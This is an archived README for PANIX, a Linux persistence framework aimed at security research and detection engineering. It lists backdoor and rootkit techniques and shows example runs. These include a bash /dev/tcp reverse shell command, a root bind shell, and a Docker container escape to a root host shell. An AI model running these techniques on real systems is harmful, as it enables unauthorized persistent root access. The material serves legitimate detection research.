{
	"id": "80da00a9-1f52-4d20-9f85-1826f05b0da5",
	"created_at": "2026-04-06T01:30:23.514586Z",
	"updated_at": "2026-04-10T03:24:17.934153Z",
	"deleted_at": null,
	"sha1_hash": "491e96c17da6b5c3a1affe5ef2b15169a1264e85",
	"title": "GitHub - Aegrah/PANIX: Customizable Linux Persistence Tool for Security Research and Detection Engineering.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 426990,
	"plain_text": "GitHub - Aegrah/PANIX: Customizable Linux Persistence Tool for\r\nSecurity Research and Detection Engineering.\r\nBy Aegrah\r\nArchived: 2026-04-06 00:34:51 UTC\r\nPANIX - Persistence Against *NIX\r\nhttps://github.com/Aegrah/PANIX\r\nPage 1 of 12\n\nPANIX is a powerful, modular, and highly customizable Linux persistence framework designed for security\r\nresearchers, detection engineers, penetration testers, CTF enthusiasts, and more. Built with versatility in mind,\r\nPANIX emphasizes functionality, making it an essential tool for understanding and implementing a wide range of\r\npersistence techniques.\r\nFeatures\r\nPANIX provides a versatile suite of features for simulating and researching Linux persistence mechanisms.\r\nFeature Description Root User\r\nAt Job Persistence Implements persistence by adding entries to system jobs. ✅ ✅\r\nAuthorized Keys\r\nAdds a public key to the authorized_keys file for SSH\r\naccess.\r\n✅ ✅\r\nBackdoor User Creates a backdoor user with UID=0 (root privileges). ✅ ❌\r\nBackdoor System User Backdoor a system user (SSH access to news/nobody). ✅ ❌\r\nBackdoored /etc/passwd Directly adds a malicious user entry to /etc/passwd . ✅ ❌\r\nBackdoored /etc/init.d Establishes persistence via SysVinit ( /etc/init.d ). ✅ ❌\r\nBackdoored /etc/rc.local Establishes persistence via run control ( /etc/rc.local ). ✅ ❌\r\nBind Shell Runs a pre-compiled/LOLBin bind shell for remote access. ✅ ✅\r\nCapabilities Backdoor Adds specific capabilities to binaries to maintain persistence. ✅ ❌\r\nCron Job Persistence Sets up cron jobs to ensure persistence across reboots. ✅ ✅\r\nCreate User Creates a new user account on the system. ✅ ❌\r\nD-Bus Backdoor Creates a D-Bus service for root reverse shell access. ✅ ❌\r\nDiamorphine Rootkit Installs the Diamorphine Loadable Kernel Module Rootkit. ✅ ❌\r\nInitramfs Persistence Injects a UID=0 backdoor user into initramfs on reboot. ✅ ❌\r\nGit Persistence Utilizes Git hooks or pagers to persist within Git repositories. ✅ ✅\r\nGenerator Persistence Leverages systemd generators to create persistent services. ✅ ❌\r\nGRUB Backdoor Manipulates GRUB to execute a backdoor at boot. ✅ ❌\r\nMalicious Container Deploys a Docker container designed to host escape. ✅ ✅\r\nMalicious Package Installs a DPKG/RPM package to achieve persistence. ✅ ❌\r\nhttps://github.com/Aegrah/PANIX\r\nPage 2 of 12\n\nFeature Description Root User\r\nNetworkManager Installs a dispatcher script to persist upon network actions. ✅ ❌\r\nLD_PRELOAD\r\nBackdoor\r\nUses LD_PRELOAD to inject malicious libraries for\r\npersistence. ✅ ❌\r\nLKM Backdoor Loads a Loadable Kernel Module to maintain persistence. ✅ ❌\r\nMOTD Backdoor Alters Message of the Day (MOTD) to establish persistence. ✅ ❌\r\nPackage Manager Manipulates APT/YUM/DNF to establish persistence on usage. ✅ ❌\r\nPAM Persistence Installs a PAM backdoor using a rogue module or pam_exec. ✅ ❌\r\nPassword Change Changes user passwords to secure backdoor accounts. ✅ ❌\r\nPolkit Backdoor Creates an overly permissive Polkit configuration backdoor. ✅ ❌\r\nReverse Shell Establishes a reverse shell (supporting multiple LOLBins). ✅ ✅\r\nShell Profile Persistence Modifies shell profiles to execute scripts upon user login. ✅ ✅\r\nSSH Key Persistence Manipulates SSH keys to maintain persistent access via SSH. ✅ ✅\r\nSudoers Backdoor Alters the /etc/sudoers file to grant elevated privileges. ✅ ❌\r\nSUID Backdoor Backdoors binaries by setting the SUID bit. ✅ ❌\r\nSystem Binary Backdoor Wraps system binaries to include backdoor functionality. ✅ ❌\r\nSystemd Service Creates systemd services that ensure persistence on reboot. ✅ ✅\r\nUdev Persistence Utilizes drivers to persist at the hardware interaction level. ✅ ❌\r\nWeb Shell Persistence Deploys web servers for remote access via web interfaces. ✅ ✅\r\nXDG Autostart\r\nEmploys XDG autostart directories to persist upon user\r\nlogin. ✅ ✅\r\nSupport\r\nPANIX offers comprehensive support across various Linux distributions.\r\nDistribution Support Tested Version\r\nDebian ✅ Debian 11 \u0026 12\r\nUbuntu ✅ Ubuntu 22.04 (Diamorphine unavailable)\r\nhttps://github.com/Aegrah/PANIX\r\nPage 3 of 12\n\nDistribution Support Tested Version\r\nRHEL ✅ RHEL 9 (MOTD \u0026 Pre-OS Boot techniques unavailable)\r\nCentOS ✅ CentOS Stream 9 \u0026 7 (MOTD \u0026 Pre-OS Boot techniques unavailable)\r\nFedora ✅ Not fully tested\r\nArch Linux ✅ Not fully tested\r\nOpenSUSE ✅ Not fully tested\r\nCustom or outdated Linux distributions may have different configurations or lack specific features, causing\r\nmechanisms to fail on untested versions. If a default command fails, use the --custom flag available in most\r\nfeatures to adjust paths and commands for your environment. Review and modify the script to suit your needs if\r\nthat doesn't resolve the issue.\r\nContributions via pull requests or issues for new features, updates, or ideas are always welcome!\r\nRepository Structure\r\nThe PANIX repository is designed for modularity, maintainability, and ease of extension. Each persistence\r\nmechanism includes setup and revert scripts, simplifying management, and removal.\r\nPANIX/\r\n├── main.sh # Core logic and argument parsing.\r\n├── modules/ # Persistence mechanism scripts.\r\n│ ├── common.sh # Shared functions.\r\n│ ├── setup_*.sh # Setup scripts.\r\n│ └── revert/ # Revert scripts.\r\n├── build.sh # Builds the distributable script.\r\n├── panix.sh # Final distributable script.\r\n└── README.md # Documentation.\r\nKey Benefits\r\nPaired Setup \u0026 Revert: Every setup_*.sh has a corresponding revert_*.sh , ensuring easy removal\r\nof persistence mechanisms.\r\nModular Design: Easily modify existing modules or add new ones without affecting the core script.\r\nSimple Expansion: To add new functionality:\r\n1. Create a new setup_*.sh in modules/ .\r\n2. Add a corresponding revert_*.sh in modules/revert/ .\r\n3. Update main.sh to include the new scripts.\r\n4. Update common.sh to include the module in the help menu.\r\nhttps://github.com/Aegrah/PANIX\r\nPage 4 of 12\n\n5. Run build.sh to generate the updated panix.sh .\r\nGetting Started\r\nGetting PANIX up and running is as simple as downloading the script from the release page and executing it:\r\ncurl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash\r\nOr download it and execute it manually:\r\n# Download through curl or wget\r\ncurl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh\r\nwget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh\r\n# Grant execution permissions and execute the script.\r\nchmod +x panix.sh\r\n./panix.sh\r\nExecuting the script will either show the root or user help menu, depending on the privileges the current user\r\nhas.\r\npanix@panix-demo:~$ sudo ./panix.sh\r\n __\r\n|__) /\\ |\\ | | \\_/\r\n| /~~\\ | \\| | / \\\r\n@RFGroenewoud\r\nRoot User Options:\r\n --at At job persistence\r\n --authorized-keys Add public key to authorized keys\r\n --backdoor-user Create backdoor user\r\n --backdoor-system-user Create backdoor system user\r\n --bind-shell Execute backgrounded bind shell\r\n --cap Add capabilities persistence\r\n --create-user Create a new user\r\n --cron Cron job persistence\r\n --dbus D-Bus service persistence\r\n --generator Generator persistence\r\n --git Git hook/pager persistence\r\n --grub GRUB bootloader persistence\r\n --initd SysV Init (init.d) persistence\r\nhttps://github.com/Aegrah/PANIX\r\nPage 5 of 12\n\n--initramfs Initramfs persistence\r\n --ld-preload LD_PRELOAD backdoor persistence\"\r\n --lkm Loadable Kernel Module (LKM) persistence\r\n --malicious-container Docker container with host escape\"\r\n --malicious-package Build and Install a package for persistence (DPKG/RPM)\r\n --motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)\r\n --network-manager NetworkManager dispatcher script persistence\r\n --package-manager Package Manager persistence (APT/YUM/DNF)\r\n --pam Pluggable Authentication Module (PAM) persistence (backdoored PAM \u0026 pam_exec)\r\n --passwd-user Add user to /etc/passwd directly\r\n --password-change Change user password\r\n --polkit Allow pkexec as any user through Polkit\r\n --rc-local Run Control (rc.local) persistence\r\n --reverse-shell Reverse shell persistence (supports multiple LOLBins)\"\r\n --rootkit Diamorphine (LKM) rootkit persistence\r\n --shell-profile Shell profile persistence\r\n --ssh-key SSH key persistence\r\n --sudoers Sudoers persistence\r\n --suid SUID persistence\r\n --system-binary System binary persistence\r\n --systemd Systemd service persistence\r\n --udev Udev (driver) persistence\r\n --web-shell Web shell persistence (PHP/Python)\r\n --xdg XDG autostart persistence\r\n --revert Revert changes made by PANIX' default options\r\n --mitre-matrix Display the MITRE ATT\u0026CK Matrix for PANIX\r\n --quiet (-q) Quiet mode (no banner)\r\nExamples\r\nThe script should be largely self-explanatory, however, this section will show a few examples of how to work with\r\nPANIX.\r\nHelp Menu\r\nEvery persistence mechanism has a separate help menu:\r\nruben@ubuntu2204:~$ sudo ./panix.sh --udev --help\r\nUsage: ./panix.sh --udev [OPTIONS]\r\n--examples Display command examples\r\n-default Use default udev settings\r\n --ip \u003cip\u003e Specify IP address\r\n --port \u003cport\u003e Specify port number\r\n --sedexp | --at | --cron | --systemd Specify the mechanism to use\r\nhttps://github.com/Aegrah/PANIX\r\nPage 6 of 12\n\n--custom Use custom udev settings\r\n --command \u003ccommand\u003e Specify custom command\r\n --path \u003cpath\u003e Specify custom path\r\n--help|-h Show this help message\r\nEvery persistence mechanism also has an --examples flag that shows default and custom examples, aiding in\r\ncrafting the command that works for you.\r\nruben@ubuntu2204:~$ ./panix.sh --git --examples\r\nExamples:\r\n--default:\r\n./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager\r\n--custom:\r\n./panix.sh --git --custom --command \"(nohup setsid /bin/bash -c 'bash -i \u003e\u0026 /dev/tcp/10.10.10.10/1337 0\u003e\u00261' \u003e /d\r\n./panix.sh --git --custom --command \"nohup setsid /bin/bash -c 'bash -i \u003e\u0026 /dev/tcp/10.10.10.10/1337 0\u003e\u00261' \u003e /de\r\nExecution\r\nMost of the persistence mechanisms are very simple, and will (hopefully) not require much explanation. For\r\nexample, systemd persistence can be set up simply through executing:\r\nruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337\r\nService file created successfully!\r\nTimer file created successfully!\r\nCreated symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/sy\r\n[+] Systemd service persistence established!\r\nWhen setting up a persistence mechanism, the script will let you know whether it worked, and in cases where\r\ninformation is needed to work with the persistence mechanism, additional information is provided. For example\r\nthe bind shell mechanism:\r\nruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64\r\n[+] Bind shell binary /tmp/bd64 created and executed in the background.\r\n[+] The bind shell is listening on port 9001.\r\n[+] To interact with it from a different system, use: nc -nv \u003cIP\u003e 9001\r\n[+] Bind shell persistence established!\r\nAllowing you to interact with the bind shell:\r\n❯ nc -nv 192.168.211.130 9001\r\n(UNKNOWN) [192.168.211.130] 9001 (?) open\r\nhttps://github.com/Aegrah/PANIX\r\nPage 7 of 12\n\nwhoami\r\nroot\r\nThe same goes for mechanisms that have additional built-in features such as the Docker persistence mechanism,\r\nwith a built-in root host escape:\r\nruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330\r\n[+] Building 10.4s (9/9) FINISHED\r\n =\u003e [internal] load build definition from Dockerfile\r\n =\u003e =\u003e transferring dockerfile: 722B\r\n =\u003e [internal] load metadata for docker.io/library/alpine:latest\r\n =\u003e [internal] load .dockerignore\r\n =\u003e =\u003e transferring context: 2B\r\n =\u003e [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c\r\n =\u003e =\u003e resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c\r\n =\u003e =\u003e sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB\r\n =\u003e =\u003e sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B\r\n =\u003e =\u003e sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB\r\n =\u003e =\u003e sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB\r\n =\u003e =\u003e extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99\r\n =\u003e [2/5] RUN apk add --no-cache bash socat sudo util-linux procps\r\n =\u003e [3/5] RUN adduser -D lowprivuser\r\n =\u003e [4/5] RUN echo '#!/bin/bash' \u003e /usr/local/bin/entrypoint.sh \u0026\u0026 echo 'while true; do /bin/bash -c \"socat exec\r\n =\u003e [5/5] RUN echo '#!/bin/bash' \u003e /usr/local/bin/escape.sh \u0026\u0026 echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' \u003e\r\n =\u003e exporting to image\r\n =\u003e =\u003e exporting layers\r\n =\u003e =\u003e writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790\r\n =\u003e =\u003e naming to docker.io/library/malicious-container\r\n86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef\r\n[+] Persistence through malicious Docker container complete.\r\n[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.\r\nWhich shows you exactly how to escape the container, and get access to the host.\r\n❯ nc -nvlp 330\r\nlistening on [any] 330 ...\r\nconnect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400\r\n86ce6b00e872:/$ /usr/local/bin/escape.sh\r\n/usr/local/bin/escape.sh\r\nroot@ubuntu2204:~#\r\nRevert Mechanism\r\nPANIX can clean its mess through the --revert command. Both for seperate modules:\r\nhttps://github.com/Aegrah/PANIX\r\nPage 8 of 12\n\nruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit\r\n######################### [+] Reverting rootkit module... #########################\r\n[+] Sending 'kill -63 0' to unload the rootkit module...\r\n[+] Signal sent successfully.\r\n[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...\r\n[+] Unloading rootkit rkit...\r\n[+] Kernel module 'rkit' unloaded successfully.\r\n[+] Rootkit rkit unloaded successfully.\r\n[+] Removing kernel module files from /dev/shm/.rk...\r\n[+] Removed file: /dev/shm/.rk/restore_rkit.ko\r\n[+] Removed directory: /dev/shm/.rk\r\n[+] Removing downloaded files in /tmp...\r\n[-] Directory not found: /tmp/diamorphine\r\n[-] File not found: /tmp/diamorphine.zip\r\n[+] Removed file: /tmp/diamorphine.tar\r\n[-] Directory not found: /tmp/Diamorphine.git\r\n[+] Reloading kernel modules...\r\n[+] Kernel modules reloaded successfully.\r\nAnd for all modules:\r\nruben@ubuntu2204:~$ sudo ./panix.sh --revert all\r\n[+] Running full reversion with --revert-all...\r\n[+] Reverting all modules...\r\n######################### [+] Reverting revert_at... #########################\r\nError: 'at' binary is not present. Cannot revert 'at' jobs.\r\n[-] Failed to revert revert_at. Exit Code: 1\r\n######################### [+] Reverting revert_authorized_keys... #########################\r\n[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made.\r\n[+] revert_authorized_keys reverted successfully.\r\n######################### [+] Reverting revert_backdoor_user... #########################\r\n[+] No backdoor users found.\r\n[+] revert_backdoor_user reverted successfully.\r\n######################### [+] Reverting revert_bind_shell... #########################\r\n[+] Searching for bind shell processes and killing them if present...\r\nhttps://github.com/Aegrah/PANIX\r\nPage 9 of 12\n\n[+] revert_bind_shell reverted successfully.\r\n[...]\r\n[+] Reversion of all modules complete.\r\nMITRE ATT\u0026CK Matrix\r\nPANIX has a built-in MITRE ATT\u0026CK matrix that displays the techniques and sub-techniques available.\r\nruben@ubuntu2204:~$ ./panix.sh --mitre-matrix\r\nMITRE ATT\u0026CK Matrix - Persistence Techniques Supported by PANIX\r\nPersistence Method Technique Name Technique ID Sub-technique Name\r\n------------------- -------------- ------------- -----------------\r\n--at Scheduled Task T1053 At\r\n--authorized-keys Account Manipulation T1098 SSH Authorized Keys\r\n--backdoor-user Create Account T1136 Local Account\r\n--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys\r\n--bind-shell Command and Scripting Interpreter T1059 Unix Shell\r\n--cap Abuse Elevation Control Mechanism T1548 N/A\r\n--create-user Create Account T1136 Local Account\r\n--cron Scheduled Task T1053 Cron\r\n--dbus Create or Modify System Process T1543 N/A\r\n--generator Create or Modify System Process T1543 Systemd Service\r\n--git Event Triggered Execution T1546 N/A\r\n--grub Pre-OS Boot T1542 N/A\r\n--initd Boot or Logon Initialization Scripts T1037 N/A\r\n--initramfs Pre-OS Boot T1542 N/A\r\n--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking\r\n--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions\r\n--malicious-container Escape to Host T1610 N/A\r\n--malicious-package Event Triggered Execution T1546 Installer Packages\r\n--motd Boot or Logon Initialization Scripts T1037 N/A\r\n--network-manager Event Triggered Execution T1546 N/A\r\n--package-manager Event Triggered Execution T1546 Installer Packages\r\n--pam Modify Authentication Process T1556 Pluggable Authentication Modu\r\n--passwd-user Account Manipulation T1098 N/A\r\n--password-change Account Manipulation T1098 N/A\r\n--polkit Modify Authentication Process T1556 N/A\r\n--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts\r\n--reverse-shell Command and Scripting Interpreter T1059 Unix Shell\r\n--rootkit Rootkit T1014 N/A\r\n--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modi\r\n--ssh-key Account Manipulation T1098 SSH Authorized Keys\r\nhttps://github.com/Aegrah/PANIX\r\nPage 10 of 12\n\n--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching\r\n--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid\r\n--system-binary Compromise Host Software Binary T1554 N/A\r\n--systemd Create or Modify System Process T1543 Systemd Service\r\n--udev Event Triggered Execution T1546 Udev Rules\r\n--web-shell Server Software Component T1505 Web Shell\r\n--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries\r\nLegend:\r\nTechnique: High-level MITRE ATT\u0026CK technique.\r\nSub-Technique: Specific sub-technique under a high-level technique.\r\nN/A: No specific sub-technique defined for this method.\r\nURL: Link to the official MITRE ATT\u0026CK page for further details.\r\nPublications and Resources\r\nPublications in which PANIX is leveraged:\r\nLinux Detection Engineering - A Primer on Persistence Mechanisms\r\nLinux Detection Engineering - A Sequel on Persistence Mechanisms\r\nLinux Detection Engineering - A Continuation on Persistence Mechanisms\r\nLinux Detection Engineering - Approaching the Summit on Persistence Mechanisms\r\nLinux Detection Engineering - The Grand Finale on Linux Persistence Mechanisms\r\nFeel free to check out my socials for updates on (Linux) security research.\r\n✨ TTwwiitttteerr\r\n ✨ LLiinnkkeeddIInn ✨ Blog ✨ GGiittHHuubb\r\nShare\r\nBy sharing PANIX, you can assist others in testing and improving their security posture and support the\r\ndevelopment of new detection capabilities in Linux security. sshhaarree oonn rreeddddiitt\r\n sshhaarree oonn hhaacckkeerr nneewwss sshhaarree oonn ttwwiitttteerr sshhaarree oonn ffaacceebbooookk sshhaarree oonn lliinnkkeeddiinn\r\nDisclaimer\r\nPANIX is intended for authorized security testing and research purposes only. Misuse of this tool for malicious\r\nactivities is not condoned and is entirely at the user's own risk. By using PANIX, you agree that you are\r\nresponsible for your own actions. Just don't do stupid stuff.\r\nhttps://github.com/Aegrah/PANIX\r\nPage 11 of 12\n\nSource: https://github.com/Aegrah/PANIX\r\nhttps://github.com/Aegrah/PANIX\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://github.com/Aegrah/PANIX"
	],
	"report_names": [
		"PANIX"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439023,
	"ts_updated_at": 1775791457,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/491e96c17da6b5c3a1affe5ef2b15169a1264e85.pdf",
		"text": "https://archive.orkl.eu/491e96c17da6b5c3a1affe5ef2b15169a1264e85.txt",
		"img": "https://archive.orkl.eu/491e96c17da6b5c3a1affe5ef2b15169a1264e85.jpg"
	}
}